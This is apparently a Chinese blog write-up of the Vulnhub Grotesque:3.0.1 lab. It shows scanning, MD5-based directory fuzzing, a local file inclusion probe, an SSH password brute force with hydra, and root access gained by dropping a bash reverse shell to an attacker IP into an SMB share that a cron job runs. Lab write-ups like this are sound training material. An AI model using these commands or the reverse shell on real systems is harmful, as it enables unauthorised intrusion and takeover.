看完这篇教你玩转渗透测试靶机Vulnhub—

看完这篇教你玩转渗透测试靶机Vulnhub——Grotesque:3.0.1

news2025/2/28 17:02:30

Vulnhub靶机Grotesque:3.0.1渗透测试详解

- Vulnhub靶机介绍：
- Vulnhub靶机下载：
- Vulnhub靶机安装：
- - - ①：信息收集：
    - ②：漏洞发现：
    - ③：LFI漏洞利用(本地文件包含漏洞)：
    - ④：SSH登入：
    - ⑤：提权：
    - ⑥：获取FLAG：
- Vulnhub靶机渗透总结：

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

PS:这个是Grotesque系列一共有3个靶机，分别是1.2.3老样子需要获得root权限找到flag

Difficulty：medium

Vulnhub靶机下载：

官网链接：https://download.vulnhub.com/grotesque/grotesque3.zip

Vulnhub靶机安装：

下载好了把安装包解压然后使用Oracle VM打开即可。

在这里插入图片描述

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

在这里插入图片描述
渗透机：kali IP ：192.168.8.101 靶机IP ：192.168.8.178

使用命令：nmap -sS -sV -n -T4 -p- 192.168.8.178

在这里插入图片描述

开启了22，80端口访问80，老样子扫描一下后台使用工具dirb，dirsearch，gobuster都没啥信息

在这里插入图片描述

这里看到一个超链接，点进去一张地图既然后台扫不出那就换个思路找这个地图的信息找到了md5

在这里插入图片描述

②：漏洞发现：

这里提示的是目录是md5加密的，所以需要生成一个加密的md5字典使用命令：

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> dir.txt; done

然后需要把全部的 - 替换为空格然后在扫应该就能扫到目录了

在这里插入图片描述

 gobuster dir -u http://192.168.8.178 -w dir.txt -x php,html,txt,png,jpg,jpeg,css,js -b 403,404 -t 35 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.8.178
[+] Method:                  GET
[+] Threads:                 35
[+] Wordlist:                DIRMD5.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,png,jpg,jpeg,css,js,php,html
[+] Timeout:                 10s
===============================================================
2023/08/17 00:22:36 Starting gobuster in directory enumeration mode
===============================================================
/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]
Progress: 1978235 / 1985049 (99.66%)
===============================================================
2023/09/20 23:00:00 Finished
===============================================================

扫到了f66b22bf020334b04c7d0d3eb5010391.php进行访问，发现空白页

尝试一下ffuf模糊探测得到：purpose

 ffuf -c -u http://192.168.8.178/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd -w /usr/share/wordlists/rockyou.txt -fs 0

在这里插入图片描述

③：LFI漏洞利用(本地文件包含漏洞)：

这里检测一下发现有个权限比较高得freddie用户使用刚刚得md5字典进行爆破SSH密码

hydra -l freddie -P dirmd5.txt ssh://192.168.8.178 -t 20

在这里插入图片描述

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-20 23:22:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220560 login tries (l:1/p:220560), ~13785 tries per task
[DATA] attacking ssh://192.168.1.49:22/
[STATUS] 142.00 tries/min, 142 tries in 00:01h, 220420 to do in 25:53h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 220266 to do in 37:13h, 14 active
[STATUS] 92.29 tries/min, 646 tries in 00:07h, 219916 to do in 39:43h, 14 active
[STATUS] 2.39 tries/min, 675 tries in 04:42h, 219887 to do in 1535:47h, 14 active
[STATUS] 7.03 tries/min, 2101 tries in 04:58h, 218461 to do in 517:57h, 14 active
[22][ssh] host: 192.168.1.49   login: freddie   password: 61a4e3e60c063d1e472dd780f64e6cad
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-20 23:24:23

得到密码为：61a4e3e60c063d1e472dd780f64e6cad

④：SSH登入：

ssh freddie@192.168.8.178

在这里插入图片描述
先拿到个flag

在这里插入图片描述

⑤：提权：

又到了提权阶段了 sudo -l 和find / -perm -u=s -type f 2>/dev/null 都没有可以利用的信息。

在这里插入图片描述
ss -tulpn 查看用户开放发那些端口这里发现开启了445 SMB服务文件共享

在这里插入图片描述
smbclient -L 127.0.0.1 登入发现了一个grotesque的文件，没有可以利用的信息。

在这里插入图片描述

这个时候可以上传一个pspy64 看看说不定有什么定时任务呢 🆗 我们继续信息收集一波！

pspy64下载：网上有很多，为了完美这里放个链接方便大家直接下载

要先把这个pspy64传入靶机先下载然后 python3 -m http.server 6789 开启临时网页 wget下载

wget http://192.168.8.101:6789/pspy64s #下载
chmod 777  pspy64s  #赋予权限

在这里插入图片描述

发现 root用户在用bash这个命令去执行smbshare文件夹下面的sh文件
既然这样那我们是不是可以尝试写一个反弹shell 放到smb下面过一会就会执行命令！

#!/bin/bash
sh -i >& /dev/tcp/192.168.8.101/1111 0>&1  # 记住是本机ip哈 别搞错了不然弹不上

在这里插入图片描述
再次登入 smbclient //127.0.0.1/grotesque 然后使用put把shell.sh 传上去需要等一下才会回弹

在这里插入图片描述

⑥：获取FLAG：

在这里插入图片描述
PS：又是一篇肝到凌晨的文章，希望以后回来看看都是回忆

至此至此获取到了flag，本篇文章渗透结束感谢大家的观看！！

Vulnhub靶机渗透总结：

1.信息收集 dirb，dirsearch，gobuster后台扫描工具（老生常谈了）
2.for 生成MD5字典（新知识点）
3.ffuf模糊探测，hydra爆破工具的使用，LFI漏洞利用
4.提权得信息收集，pspy64的使用，反弹sh的脚本编写以及文件的上传下载 wget 和put